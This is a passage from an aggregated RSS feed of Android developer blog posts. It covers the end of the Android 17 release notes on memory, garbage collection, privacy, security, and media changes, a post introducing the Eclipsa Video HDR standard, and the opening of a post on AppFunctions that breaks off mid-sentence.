    <li><strong>R8 Optimizer:</strong> The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer">R8 configuration analyzer</a> to make sure your app is getting the most from R8.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s2048/R8%20Configuration%20Analyzer.png"><img border="0" data-original-height="397" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s16000/R8%20Configuration%20Analyzer.png"></a></div></li></ul><div><span><u><br></u></span></div><div><span><u><br></u></span></div><div><br></div><div><br></div><div>The R8 Configuration Analyzer</div><ul><li><strong>LeakCanary in Android Studio Panda:</strong> The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.</li>
    <li><strong>ApplicationExitInfo:</strong> If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".</li>
    <li><strong>On-Device Anomaly Detection:</strong> Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.</li>
</ul>

<pre><code>val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList&lt;ProfilingTrigger&gt;().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)</code></pre>

<p>And, we're working to surface more in-field memory metrics to you within Google Play Console.</p>

<h2>Generational garbage collection</h2>
<p><a href="https://developer.android.com/about/versions">Android 17</a> introduces more frequent, less resource-intensive young-generation collections to <a href="https://developer.android.com/guide/platform#art">ART</a>'s Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.</p>

<h2>Lock-Free MessageQueue</h2>
<p>For apps targeting SDK 37 or higher, the core <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>android.os.MessageQueue</b></a> now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> fields and methods.  The <a href="https://developer.android.com/reference/android/os/TestLooperManager#peekWhen()"><b>peekWhen</b></a> and <b><a href="https://developer.android.com/reference/android/os/TestLooperManager#poll()">poll</a> </b>APIs have been added to <a href="https://developer.android.com/reference/android/os/TestLooperManager"><b>TestLooperManager</b></a> for instrumentation testing without relying on <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> internals.</p>

<h2>Static final fields now truly final</h2>
<p>Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s <b><code>SetStatic&lt;Type&gt;Field</code></b> methods family will immediately crash the application.</p>

<h2>Custom notification view restrictions</h2>
<p>To reduce memory usage we are further restricting the size of <a href="https://developer.android.com/develop/ui/views/notifications/custom-notification">custom notification views</a>. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.</p>

<h3>Privacy &amp; Security</h3>
<p>Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.</p>

<h2>Privacy-preserving choices</h2>
<p>Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:</p>
<ul>
  <li><strong>System-Level Contact Picker:</strong> Utilizing <code>ACTION_PICK_CONTACTS</code>, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad <code>READ_CONTACTS</code> permission. It also fully supports work/personal profile separation.</li>
    <li><strong>Customizable Photo Picker aspect ratio:</strong> Using<b><code>PhotoPickerUiCustomizationParams</code></b>, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.</li>
    <li><strong>System-rendered Location Button:</strong> A new system-rendered location button that you can embed in your app grants precise location access for the current session only.</li>
    <li><strong>EyeDropper API:</strong> A new system-level API, <code>ACTION_OPEN_EYE_DROPPER</code>, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.</li>
</ul>

<pre><code>val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result -&gt;
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}</code></pre>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/s1267/Eyedropper%20Tester.webp"><img border="0" data-original-height="713" data-original-width="1267" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/w640-h360/Eyedropper%20Tester.webp" width="640"></a></div><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><span><span face="Arial, sans-serif"><i>Picking a color from anywhere on the screen with the system EyeDropper</i></span></span></h3><h2>Local network access</h2>
<p>Apps targeting Android 17 now either require the <code><a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network">ACCESS_LOCAL_NETWORK</a></code> runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because <code>ACCESS_LOCAL_NETWORK</code>  falls under the existing <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permission group, users who have already granted other <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permissions will not be prompted again. </p>

<h2>SMS OTP protection</h2>
<p>Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:</p>
<ul>
  <li>WebOTP Format: <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">Delayed for all apps that are not the intended recipient (domain mismatch)</a>.</li>
  <li>Standard SMS OTP: <a href="https://developer.android.com/about/versions/17/behavior-changes-17#sms-otp-protection">Delayed for all apps targeting SDK 37+</a>.</li>
  <li>Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the <a href="https://developer.android.com/identity/sms-retriever">SMS Retriever</a> or <a href="https://developers.google.com/identity/sms-retriever/user-consent/overview">SMS User Consent APIs</a>.</li>
</ul>

<h2>Post-Quantum Cryptography (PQC)</h2>
<p>Android 17 is ready for the next generation of cryptographic security:</p>
<ul>
  <li>Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.</li>
  <li>Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.</li>
</ul>

<h2>Safer native dynamic code loading </h2>
If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14</a> for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

<h2>Smarter password protection for physical inputs</h2>
<p>With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.</p>
<p>Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).</p>
<p>These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields. </p>

<h3><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s798/Hide%20First%20Letter.gif"><img border="0" data-original-height="449" data-original-width="798" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s16000/Hide%20First%20Letter.gif"></a></div></h3><h3><br></h3><h3><br></h3><h3><br></h3><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><i><div><i>Smarter password protection for physical inputs</i></div></i><div><br></div><h2>Media and camera features that empower creators and delight users
</h2><p>Android 17 introduces new <a href="https://blog.google/products-and-platforms/platforms/android/android-17-creator-features/">creator features</a> that give access to pro-quality cameras and media, all while improving the experience for consumers.</p>

<ul>
  <li><a href="https://developer.android.com/media/platform/integrate-eclipsa-video">Eclipsa Video</a>: HDR video standard built upon the <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a> that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.</li>
  <li>RAW14 image format: New support for the <a href="https://developer.android.com/reference/kotlin/android/graphics/ImageFormat#raw14">RAW14 image format</a> provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.</li>
  <li>Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.</li>
  <li>Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.</li>
  <li><a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">Versatile Video Coding (H.266)</a>:  Enables OEMs to add codec support by defining the <a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">video/vvc</a> MIME type in <a href="https://developer.android.com/reference/android/media/MediaFormat"><code>MediaFormat</code></a>, adding new VVC profiles in <a href="https://developer.android.com/reference/android/media/MediaCodecInfo"><code>MediaCodecInfo</code></a>, and integrating support into <a href="https://developer.android.com/reference/android/media/MediaExtractor"><code>MediaExtractor</code></a>.</li>
  <li>Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.</li>
  <li>Constant Quality for Video Recording: <a href="https://developer.android.com/reference/android/media/MediaRecorder#setVideoEncodingQuality(int)"><code>SetVideoEncodingQuality</code></a> in <a href="https://developer.android.com/reference/android/media/MediaRecorder"><code>MediaRecorder</code></a> configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.</li>
</ul>

<h2>Better support for hearing aids</h2>
<ul>
  <li>Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new <a href="https://developer.android.com/reference/android/media/AudioDeviceInfo#TYPE_BLE_HEARING_AID"><code>AudioDeviceInfo.TYPE_BLE_HEARING_AID</code></a> constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.</li>
  <li>Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.</li>
</ul>

<h2>CameraX and  Media3</h2>
<p><a href="https://developer.android.com/jetpack/androidx/releases/camerax">CameraX</a> and <a href="https://developer.android.com/jetpack/androidx/releases/media3">Media3</a> have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture,  smooth media playback, and creative and complex editing experiences. </p>

<p>We've released an <a href="https://github.com/android/skills/tree/main/camera">agent skill</a> that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</p>
  
<p>Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.</p>

<h3>Get your apps, libraries, tools, and game engines ready!</h3>
<p>If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.</p>

<p>Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps <a href="https://developer.android.com/about/versions/17/behavior-changes-all">running on</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-17">targeting</a> Android 17 to focus your testing, including the following:</p>
<ul>
  <li>Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints <a href="https://developer.android.com/about/versions/17/changes/ff-restrictions-ignored">on large screens</a>.</li>
  <li>Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14 </a>for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.</li>
  <li>Enable CT by default: <a href="https://developer.android.com/privacy-and-security/security-config#CertificateTransparencySummary">Certificate transparency (CT)</a> is enabled by default. (On Android 16, CT is available but apps had to <a href="https://developer.android.com/privacy-and-security/security-config#certificateTransparency">opt in</a>.)</li>
  <li>Local network protections: Apps targeting SDK 37 or higher have <a href="https://developer.android.com/privacy-and-security/local-network-permission#android-17-enforcement">local network access blocked by default</a>. Switch to using privacy preserving pickers if possible, and use the new <a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network"><b><code>ACCESS_LOCAL_NETWORK</code></b>permission for broad, persistent access.</a></li>
  <li>Background audio hardening: Starting in Android 17, the audio framework enforces <a href="https://developer.android.com/about/versions/17/changes/bg-audio">restrictions on background audio interactions</a> including audio playback, <a href="https://developer.android.com/media/optimize/audio-focus">audio focus</a> requests, and <a href="https://developer.android.com/reference/android/media/AudioManager#adjustStreamVolume(int,%20int,%20int)">volume change</a> APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the <a href="https://developer.android.com/about/versions/17/changes/bg-audio">updated guidance</a>.</li>
  <li>NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare <a href="https://developer.android.com/reference/kotlin/android/content/pm/PackageManager#feature_neural_processing_unit">FEATURE_NEURAL_PROCESSING_UNIT</a> in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the <a href="https://ai.google.dev/edge/litert/next/npu">LiteRT NPU delegate</a>, vendor-specific SDKs, as well as the deprecated <a href="https://developer.android.com/ndk/guides/neuralnetworks">NNAPI</a>.</li>
</ul>

<h3>Get started with Android 17</h3>
<p>Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can <a href="https://developer.android.com/about/versions/17/get#on_emulator">use the 64-bit system images with the Android Emulator</a> in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.</p>
<h3>Getting the Android 17 beta on partner devices</h3>
<p>Android 17 is available in beta on handset, tablet, and foldable form factors <a href="https://developer.android.com/about/versions/17/devices">from partners</a> including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s1653/android-17-beta-partners.jpg"><img border="0" data-original-height="624" data-original-width="1653" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s16000/android-17-beta-partners.jpg"></a></div><br><h3><br></h3>

<p>For the best development experience with Android 17, we recommend that you use the latest Canary build of <a href="https://developer.android.com/studio/preview">Android Studio Quail</a>. Once you’re set up, here are some of the things you should do:</p>
<p>Test your current app for compatibility, learn whether your app is <a href="https://developer.android.com/about/versions/17/behavior-changes-all">affected by changes in Android 17</a>, and install your app onto a device or <a href="https://developer.android.com/studio/run/emulator">Android Emulator</a> running Android 17 and extensively test it.</p>

<p>Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.</p>
<p>For complete information on Android 17 please visit the <a href="https://developer.android.com/about/versions/17">Android 17 developer site</a>.</p><br><br>]]></content:encoded>
</item>
<item>
<title><![CDATA[Eclipsa Video: HDR That Looks Right on Every Screen]]></title>
<description><![CDATA[Posted by Tibian Elsheikh, Product Manager, Android Core Graphics and Jeffrey Jose, Product Manager, Android Core Graphics
We’ve all been there: You’re scrolling through your favorite social media feed in a dim room, and suddenly an HDR video pops up. It’s so intensely bright that you have to squ...]]></description>
<link>https://tsecurity.de/de/3693501/android-tipps/eclipsa-video-hdr-that-looks-right-on-every-screen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693501/android-tipps/eclipsa-video-hdr-that-looks-right-on-every-screen/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:30 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGg9E8BsBcgigJ3Pwhp0Wbd85wffhQKw9jT9eW4_IJHtJsxtaqBqZoWIc4agLIZu9h2eWFEnMgipcv2PnMM2UC9tsZOJp3AMjsOX1KQRoisg5IKTRS20hFOIvJmlViYFz-QOh3-KdyFRIgUaiKs2ehjrJBd9W_yW13aP4xgRQovNCEAviajCLWFTTVrjs/s2469/Eclipsa%20Video%20V01%20White_Meta.png"><div><i>Posted by Tibian Elsheikh, Product Manager, Android Core Graphics and Jeffrey Jose, Product Manager, Android Core Graphics</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0slfG8CUVGmPiAUHIXkeIVZGveJMOvf1TorUdONiRYV1THM80OzIIjGV5-bOboEhNz7FB4sTYx72ySEjFhQ4oW97-sLZ4scOX2Sb5BBU9qPMvOXvq2XRj098K7ElBnvy4k68jKELpDZ7vd4NIs2Hud2w14re18dOx7dksdFXRBR_Nd8yOiBrw8cLr_kM/s8583/Eclipsa%20Video%20V02_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0slfG8CUVGmPiAUHIXkeIVZGveJMOvf1TorUdONiRYV1THM80OzIIjGV5-bOboEhNz7FB4sTYx72ySEjFhQ4oW97-sLZ4scOX2Sb5BBU9qPMvOXvq2XRj098K7ElBnvy4k68jKELpDZ7vd4NIs2Hud2w14re18dOx7dksdFXRBR_Nd8yOiBrw8cLr_kM/s1600/Eclipsa%20Video%20V02_Blog.png"></a></div><br><p><br></p>
<p>We’ve all been there: You’re scrolling through your favorite social media feed in a dim room, and suddenly an HDR video pops up. It’s so intensely bright that you have to squint, or maybe you find yourself turning down your screen brightness just to read the caption. Other times, a video that looks vibrant on your phone looks flat, dark, or washed out when you watch it on your living room TV. </p><p>While High Dynamic Range (HDR) technology was designed to make videos look richer and more lifelike, the lack of unified industry guidelines means that the exact same clip can render in unexpected and jarring ways depending on the display you’re using.</p>

<p>To solve this, we’re introducing Eclipsa Video—a new standard built to make your favorite videos look consistent, balanced, and comfortable on every screen. Eclipsa Video builds on the open <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a>, which Google developed in collaboration with Apple and NBCUniversal.</p><br><p></p><i><div><i><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLDY0gLjHQYTZZfRzikfPu8P3jZkXhq6Wqo1GFj3CvBh9YaboIDUstPcnV94Qan8nVkXXBlXLm5vSktLM_q9DJIIn_jyeW9LyZchI5Fpm6AD7A5XD3ZRslzBFhJLAvRj589ukW0etBNCg7004SjySw_SYsGkg6dQ8AtgfofOZeFTx8R3H7xWfwAuA-Rqc/s1066/Eclipsa_9-16_Transparent%20(2).gif"><img border="0" data-original-height="1066" data-original-width="600" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLDY0gLjHQYTZZfRzikfPu8P3jZkXhq6Wqo1GFj3CvBh9YaboIDUstPcnV94Qan8nVkXXBlXLm5vSktLM_q9DJIIn_jyeW9LyZchI5Fpm6AD7A5XD3ZRslzBFhJLAvRj589ukW0etBNCg7004SjySw_SYsGkg6dQ8AtgfofOZeFTx8R3H7xWfwAuA-Rqc/w225-h400/Eclipsa_9-16_Transparent%20(2).gif" width="225"></a></div>Sudden brightness spikes during feed scrolling—fixed with Eclipsa Video.</i></div></i><p></p>

<h3><strong><span>More consistency, comfort, and creative control</span></strong></h3>Eclipsa Video moves past individual display guesswork. Instead of leaving it up to your device to interpret a video’s brightness on its own, our format carries precise guidelines that tell compatible displays exactly how to render the image. <br><p>Designed to scale with your hardware, Eclipsa Video provides three core benefits:</p>

<ul>
    <li><strong>A consistent baseline:</strong> Eclipsa Video introduces a shared rulebook for screens. It establishes a consistent benchmark for normal brightness—known as the <b>HDR reference white</b>. This ensures standard text, app interfaces, and standard-range colors remain vibrant and readable without causing uncomfortable screen glare.</li>
    <li><strong>Adaptive headroom:</strong> Screens have different physical brightness limits, or "headroom." Eclipsa Video guides how displays handle highlights dynamically. Bright details remain brilliant on a premium television, while being scaled intelligently on a mobile screen to prevent sudden blinding transitions.</li>
    <li><strong>Preserved creative intent:</strong> Rather than applying a single static setting to an entire video, Eclipsa Video carries adaptive, frame-by-frame instructions. Think of it as a set of digital notes from the creator traveling with the video, ensuring the exact colors, contrast, and mood they graded are preserved on your display.</li></ul>

<div class="separator"><img border="0" data-original-height="1080" data-original-width="2200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirgS5TsogRUxWbypUiFlWIRuL8nQhdagvc7UHVFjoDG00SjqSrMniKFEys-EzgcrHKi6Am5BrtALEs7px1oaaJ5ciaO7hP0_49i8RuD7uCckjW7jYWrSoFkDlob6dJhL42MPLiBQqAjaPMOMJDEjZjDgvVe0P28fw13RlMNSiMEAlx5XFXCr8o6L8SRo0/s1600/Eclpsa%20Blog%20post%20image-AlphaB.png"><br><div><i>Eclipsa Video preserves true highlight detail on any screen you watch.</i></div></div><h3><strong><span>Built natively into Android 17</span></strong></h3>

<p>Starting with Android 17, support for Eclipsa Video is built directly into the platform. This means a more comfortable, true-to-life HDR experience is coming natively to the phones, tablets, and TVs you rely on every day. The video you capture carries its creative intent with it, and the video you watch is shown exactly the way it was meant to be seen.</p>

<h3><strong><span>Guidelines for developers &amp; creators</span></strong></h3>

<p>We’re inviting the developer and creator ecosystem to help build a more reliable HDR environment:</p>

<ul>
    <li><strong>Get started with implementation:</strong> Learn how to configure playback and capture in your apps with our <a href="https://developer.android.com/media/platform/integrate-eclipsa-video">official guide</a>.</li>
    <li><strong>ExoPlayer &amp; Media3 integration:</strong> Standard playback handling built directly into <a href="https://developer.android.com/media/media3/exoplayer">Jetpack Media3,</a> allowing ExoPlayer to support Eclipsa Video metadata automatically with no additional player configuration.</li>
    <li><strong>Explore open source tools:</strong> View and inspect <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50</a> metadata and dynamic gain curves in real time using <a href="https://webmproject.github.io/hdr-explorer/">HDR Explorer</a>.</li>
</ul>

<h3><strong><span>What’s next</span></strong></h3>

<p>Eclipsa Video is rolling out now, and you’ll see more apps and devices supporting it over time. Because it’s an open standard, any app developer or hardware manufacturer can integrate it to elevate the viewing experience.</p>

<p>Try out the new tools in Android 17, explore the open-source metadata, and let us know what you think on our developer channels. We can’t wait to see what you create.</p>

<h3><strong><span>Notes &amp; Availability</span></strong></h3>
<p><strong>1. Device Compatibility:</strong> Eclipsa Video playback and capture are supported natively on devices running Android 17 (API level 37) and above with HDR displays passing Eclipsa Compliance tests.</p>
<p><strong>2. Developer Resources:</strong> The <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 Specification</a> is openly accessible for technical evaluation.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Integrate into Android's intelligence system using AppFunctions]]></title>
<description><![CDATA[Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored...]]></description>
<link>https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:27 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi961epgT3N_Za_k2-pCJ30tegn7DM-Umh1LWh7Q4NxhryR5H57JB00zKQcek56ccAvEM95i6wyXWWCZZ7486_Gq1ewxPHtsMY13UVsVTmndAvkOJtHPjUXuZ3XW_yBEFtlOr2ocBFIKr0PCRZhIRs67h6bX6zDKihwcxQs8bGbYTqIp5azuBKcX4PNMMY/s2469/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Meta.png"><p></p><p><i>Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations</i></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s8583/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s1600/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"></a></div><br><p><br></p><p>Welcome back to the blog post series "<a 